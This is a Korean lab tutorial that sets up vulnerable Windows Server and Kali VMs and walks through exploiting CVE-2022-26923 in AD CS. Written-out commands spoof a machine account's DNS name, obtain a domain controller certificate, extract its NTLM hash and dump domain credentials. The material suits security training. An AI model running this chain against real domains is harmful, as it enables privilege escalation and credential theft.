
CVE-2022-26923 악용
CVE-2022-26923은 Active Directory Certificate Services(AD CS)의 취약점으로, 공격자가 인증서 기반 인증을 악용하여 권한을 상승시킬 수 있습니다. 이 가이드는 Impacket과 Certipy를 사용하여 이 취약점을 익스플로잇하는 단계를 설명합니다.
| 가상 머신 | 사용자 이름 | 비밀번호 |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
먼저, 필요한 파일이 포함된 저장소를 복제합니다:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
저장소에는 각각 가상 머신을 프로비저닝하기 위한 Vagrantfile이 있는 두 개의 폴더가 포함되어 있습니다. 계속 진행하기 전에 호스트 컴퓨터에 Vagrant를 설치해야 합니다.
여기에서 Vagrant를 다운로드하여 설치합니다. 또는 PowerShell을 사용하여 설치합니다:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
WindowsServer2022 디렉토리로 이동합니다:
cd WindowsServer2022
vagrant up
이 명령은 VirtualBox에 Windows Server 2022 VM을 다운로드하고 설정합니다.
Kali-LinuxVM 디렉토리로 이동합니다:
cd Kali-LinuxVM
vagrant up
익스플로잇에는 NAT 네트워크가 필요하므로 VirtualBox를 다음과 같이 구성합니다:
아래 명령을 실행하기 전에 VBoxManage가 환경 변수에 추가되었는지 확인하세요. 추가되지 않은 경우 전체 경로를 사용하여 명령을 실행하십시오:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage가 인식되지 않으면 다음을 사용하세요:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VirtualBox에서 두 VM을 모두 확인하고 네트워크 어댑터 NatNetwork - NatNet1에 할당되었는지 확인하세요.
다른 이름으로 NAT 네트워크를 생성할 수 있지만, IP 범위는 10.0.2.0/24여야 합니다.
계속 진행하기 전에 Windows Server 2022와 Kali Linux VM이 모두 켜져 있는지 확인하세요.
공격을 시작하기 위해 Kali Linux VM에 접속합니다.
도메인 컨트롤러의 IP를 매핑하도록 /etc/hosts 파일을 업데이트합니다:
sudo nano /etc/hosts
다음 항목을 추가합니다:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
저장하고 종료합니다.
CVE-26923 디렉토리로 이동하여 Python 가상 환경을 활성화합니다:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
Impacket의 addcomputer 유틸리티를 사용합니다:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
도메인 컴퓨터 확인:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
bloodyAD 디렉토리로 이동하여 bloodyAD.py를 사용하여 PCTEST1을 도메인에 추가합니다:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
PCTEST1이 도메인에 할당되었는지 확인합니다:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Certipy를 사용하여 취약한 인증서를 찾습니다:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Certipy를 사용하여 시스템 인증서를 요청합니다:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
획득한 인증서를 사용하여 인증합니다:
certipy auth -pfx server2022.pfx
certipy auth 명령을 실행하면 두 개의 해시가 표시됩니다. 오른쪽 해시가 NTLM 인증에 사용됩니다.
해시 출력 예시:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
추출된 NTLM 해시를 사용하여 자격 증명을 덤프합니다:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
이것으로 CVE-2022-26923 익스플로잇을 위한 전체 공격 체인이 완료됩니다.